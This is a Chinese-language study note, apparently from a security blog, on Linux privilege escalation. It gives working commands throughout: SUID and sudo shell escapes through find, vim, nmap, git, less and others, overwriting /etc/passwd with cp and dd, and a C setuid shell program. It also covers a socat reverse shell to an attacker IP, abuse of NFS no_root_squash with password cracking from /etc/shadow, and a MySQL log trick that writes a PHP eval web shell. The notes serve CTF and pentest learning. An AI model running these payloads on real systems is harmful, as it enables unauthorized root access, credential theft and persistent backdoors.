Linux特殊权限位

linux提权学习

Linux提权

参考文章

1)利用SUID提权

什么是suid?

Set User ID的一种权限类型,允许用户使用指定的用户权限执行文件。那些具用suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么
这些文件/程序/命令可以以root权限运行

SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限的资源

什么是SGID

G的意思就是group,功能和suid基本不相同,唯一区别就是suid获得命令所属用户的身份和权限,而sgid是获取所属用户组的身份和权限

SUID权限

1,SUID权限只能设置二进制文件。

2,命令执行者要有二进制文件的执行权。

3,命令执行者执行二进制文件时会获得该程序的属主身份。

4,SUID权限只在程序执行过程中有效。

即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。


*关键

1.查看具有root用户权限的SUID二进制可执行文件

1
2
3
4
5
find / -perm -u=s -type f 2>/dev/null

命令来查找拥有SUID权限的程序。

perm指定权限,-u=s代表SUID权限,type指定文件类型,f表示常规文件

2.已知的可用来提权的linux可执行的文件列表如下

1
Nmap、Vim、find、Bash、More、Less、Nano、cp

提权

(1)利用find获取root权限shell

1
find / -name filename -exec “/bin/sh” \;

这个filename,只要存在就行,目的是让find命令可以成功执行,后面的-exec就是加上命令

这里find有suid权限,普通用户执行时,会变成root用户,执行/bin/sh命令时,会进入root用户,从而实现提权

如果find没有suid权限,执行/bin/sh命令后,仍然是普通用户

·/为根目录
·-name 按文件名查找
·-exec 对匹配对象执行的命令,以;结束
但是(;)是特殊字符,需要用(\)转义

(2)利用cp获取root权限shell

以cp为例,这里给cp添加SUID权限做测试,拥有SUID权限的程序会有rwx变成rws。

image-20220830133409844

可以通过

1
find / -perm -u=s -type f 2>/dev/null

命令来查找拥有SUID权限的程序。

image-20220830133446426

当普通用户运行cp命令时,此时的cp权限就为root,利用时,可以cp把/etc/passwd复制到桌面,然后进行修改。

首先用openssl生成一个密码。passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意指定),最后跟要加密的值,也就是密码abcd

image-20220830133504874

然后按照etc/passwd的格式添加一个新用户,权限按root的写即可。

image-20220830133645874

添加后我们用cp再把文件复制回去进行替换,此时就添加了一个abcd用户,权限为root。

image-20220830133656254

(3)利用Vim获取root权限shell

vim在有SUID权限的情况下,也可用来进行提权操作。

image-20220830134124700

当vim被赋予suid权限后,意味着任何用户都可以使用vim命令来编辑那些只能由root编辑的文件,例如通过vim来编辑etc/sudoers文件(普通用户会被直接拒绝访问),在sudoers文件中配置普通用户的权限,权限和root一样,这里以test用户为例,添加如下内容:

1
test   ALL=(ALL:ALL) ALL

vim编辑后保存时用wq!强制保存,vim运行时虽然是root权限,但wq依然会提示只读。

随后sudo bash就会获取一个root的shell。

image-20220830134159252

(4)利用nmap获取root权限shell

1.旧版

nmap(2.02-5.21)存在交换模式,可利用提权

1
nmap --interactive

之后执行:

1
2
3
nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

1
exploit/unix/local/setuid_nmap
2.新版

较新版可使用 --script 参数:

1
2
3
4
先写入一条命令
echo "os.execute('/bin/sh')" > getshell
--script参数,执行
sudo nmap --script=getshell

成功提权

image-20221011132253611

(5)利用脚本获取root权限shell

除了系统的一些可执行命令,自己写的可执行文件也可添加SUID权限。不论c或者go或者其他语言都可以,这里以c为例。

示例代码如下:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}

使用gcc进行编译。

image-20220830134227202

编译后传入目标机,这里放到bin/aaa目录下,然后添加SUID权限测试。

image-20220830134236889

普通用户执行该文件后,会返回一个root权限的shell。

image-20220830134252824

2)利用SUDO提权

sudo和su的区别

1,sudo是以root权限去运行一个命令,su是去切换用户的身份。

2,sudo只要知道自己的密码即可,su需要知道被切换用户的密码。

sudoers文件

/etc/sudoers文件,是sudo权限的配置文件。当使用sudo接命令时,linux系统会在sudoers文件中查找当前用户,根据当前用户权限配置来决定是否可以运行相关命令。

例如添加test用户的相关配置:

image-20220901223741370

格式如下:

image-20220901223808981

sudo su && sudo bash

当没有对普通用户做严格的限制时,或者配置权限过大时,则可以尝试sudo su来切换到root权限。

image-20220901223824172

或者执行sudo bash。

image-20220901223837242

当visudo命令不能用时,限制了部分命令,则可以尝试下vim是否被禁用,sudo vim也可以编辑sudoers文件,且wq!可以成功保存。

*SUDO -dd 提权法

原文

当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的

1、创建一个已知密码的hash,以备替换时使用

1
2
hh@hh:/etc$ openssl passwd -1 -salt 123 password 
$1$123$0HaaUtbhct/mZ/Q/KRa5a.

2、备份原始passwd文件,以防修改错误时无法访问

1
# cp /etc/passwd /tmp/passwd

3、利用第一步里生成的hash构建新的passwd hash条目

1
2
hh@hh:/tmp# cat passwd
root:$1$123$0HaaUtbhct/mZ/Q/KRa5a.:0:0:root:/root:/bin/bash

4、使用dd覆盖原始passwd文件

1
2
3
4
hh@hh:/tmp$ cat passwd|sudo dd of=/etc/passwd 
3+1 records in
3+1 records out
1757 bytes (1.8 kB, 1.7 KiB) copied, 0.000397129 s, 4.4 MB/s

5、使用刚才创建hash时使用的密码进行登录

1
2
3
hh@hh:/tmp$su root
Password:
root@hh:/tmp#

提权成功!

*GIT

1
2
输入sudo -l
//列出目前用户可执行与无法执行的指令。

image-20220901112624228

就可以发现rootnopasswd【不需要密码】运行git命令

原理是git存在缓存区溢出漏洞,

在使用

1
sudo git -p

不需要输入root密码,即可以root身份执行这条命令

操作如下

1
2
sudo git -p     
//-p是分页查看,这个原理就是终端的窗口大小不够显示,所以下方会出现冒号,等待输入命令

下面可以看看区别

*注意
1.窗口足够大

image-20220901113721300

可以看到显示完了,就有回到原处了

2.窗口小一些

image-20220901113851826

下方就显示出:,等待输入

1
2
3
4
5
6
7
8
**:是自带有的,不是输入的
:!/bin/sh //感叹号!是shell转义字符,所以要避免sudo授权用户使用vi,vim,ftp,lee,more,git
进入root
cd /root
--
当然也可以执行:!passwd root
修改其密码
然后su root登录也可
1.执行命令,拿到root的shell

$变成#成功

image-20220901114902493

2.修改密码,登录

image-20220901114453769

$变成#,成功登录

image-20220901114726423

其他命令

也有很多其他命令可以用来提权,和之前的SUID提权中说的命令类似,例如sudo允许find命令,则可以通过exec参数来切换到root权限。

这里添加新用户aaa,并修改sudoers文件,允许部分命令,内容如下。

1
aaa  ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi

这时aaa用户使用sudo就只能执行配置好的命令,sudo su和sudo bash被禁止执行。

image-20220901224325691

相关命令提权方式如下:

find

exec参数用来指定搜索结果的处理命令,需要以分号结尾,分号在命令行有特殊函数,要用\进行转义。

image-20220901224342169

perl

e参数用来指定要运行的命令,然后使用linuxexec参数来调用bash

image-20220901224356163

python

c参数可以在命令行执行python代码,pty库是一个伪终端库,它的spawn会调用指定的程序。

image-20220901224409127

less

输入sudo less /etc/hosts命令浏览文件内容时,到底部输入!bash后回车,会获得一个root权限的shell

image-20220901224420552

image-20220901224511943

awk

通过调用linux的system函数来打开bash。

image-20220901224431624

man

通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。

image-20220901224541655

image-20220901224551402

*vi

sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。

image-20220901224609706

image-20220901224622369

脚本

如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去。

例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。

image-20220901224639423

参考代码:

image-20220901224909264

应用程序

除了上面的一些二进制文件,一些应用程序也可以获取root权限,例如env、ftp、socat、scp。

image-20220901225004858

env

通过env环境变量来获取root权限。

image-20220901225022285

ftp

通过ftp来进入bash获取root权限。

image-20220901225031965

socat

通过socat客户端连接攻击机,攻击机可获得rootshell。先执行服务端,后执行客户端。

1
2
3
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.128:4444
攻击机执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444

image-20220901225047468

image-20220901225056003

scp

还有一个scp,scp是一个安全复制文件的命令,它无法获取一个shell,但可以用来复制一些系统的敏感文件。例如etc/passwd、etc/shadow等。

如下命令,将passwd文件传输到指定机器的root/Desktop下,然后再对密码进行破解等操作。

image-20220901225110501

黑名单情况

如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。

image-20220901225127772

3) NFS配置不当导致提权

NFS介绍

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。

这里以ubuntu为例,简单配置一下:

首先安装nfs服务端:

1
sudo apt-get install nfs-kernel-server

安装后修改配置文件/etc/exports,这里将home目录进行挂载共享,内容如下:

1
/home *(rw,no_root_squash)

其中/home是要挂载的目录,*代表允许连接的主机,这里是所有,rw是读写权限,no_root_squash代表客户端允许以root权限访问nfs。

随后重启相关服务:

1
# nfs通过rpc通信,这里把rpcbind也重启下sudo /etc/init.d/rpcbind restartsudo /etc/init.d/nfs-kernel-server restart

此时就配置好了,可以通过showmount命令来列出目标机的共享目录,e参数显示NFS服务器的输出清单。

image-20220901231323392

或者通过nmap的相关脚本来进行扫描。

image-20220901231334381

NFS配置不当可提权

当nfs配置了读写权限,且允许客户端以root访问时,就会存在安全隐患。

测试如下:

首先客户端把目标机nfs的共享挂载到本地,然后把bash复制进去并赋予suid权限,操作如下图。

image-20220901231351979

此时目标机的home目录下就会有一个具有suid权限的bash。

普通用户执行即可获取root权限,这里注意需要加上p参数,否则权限还是当前用户的。

p参数说明:不提供的情况下,打开bash权限是当前实际用户,提供的情况下,会打开特权模式,像上继承suid,因为bash有suid权限,所以这里是root。

image-20220901231410196

使用场景:这个和suid提权很像,给程序赋予suid权限然后利用。不同的是前两篇suid提权是当前用户使用sudo chmod自己修改的,在sudoers禁用sudo命令等情况下,就行不通了。而nfs配置利用,是客户端挂载到本地赋权的,目标机的普通用户只需执行就可以。

同理,之前总结的suid提权的那些程序也同样适用,这里就不再记了。

其它命令

除了可以直接得到shell的,还有其他一些程序不能直接获取,例如nano、vi等。

image-20220901231423093

然后使用nano -p来读取shadow文件,这里读取时把相关记录复制出来,使用john破解,测试不能重定向,需要权限,所以只能复制。

image-20220901231435125

复制后使用john破解获取相关用户密码,以root为例,密码是root

image-20220901231451129

如果密码太复杂,破解不了,则可以尝试其它用户,例如我这里目标机是aaa用户,破解aaa密码为aaa

image-20220901231505353

这时候不确定aaa是否为root权限,则可以继续使用nano去编辑passwd文件,给aaa赋权。

把原来的1001换成0.

image-20220901231516388

然后切换aaa用户即可。

image-20220901231524654

利用这种机制,也可以用来修改sudoers文件,添加或修改为以下内容。

1
aaa     ALL=(ALL:ALL) NOPASSWD:ALL

然后使用sudo bashsudo su获取root权限。

image-20220901231537204

4)Mysql提权

1、通过mysql日志功能

SHOW VARIABLES LIKE 'general%' 查询日志

set global general_log = "ON"; 开启日志记录

set global general_log_file='C://phpStudy//PHPTutorial//WWW//shell.php'; 设置日志路径

select '<?php @eval($_POST[1]);?>'; 写入一句话

img

img

连接成功

5)环境变量提权

nepctf2023遇到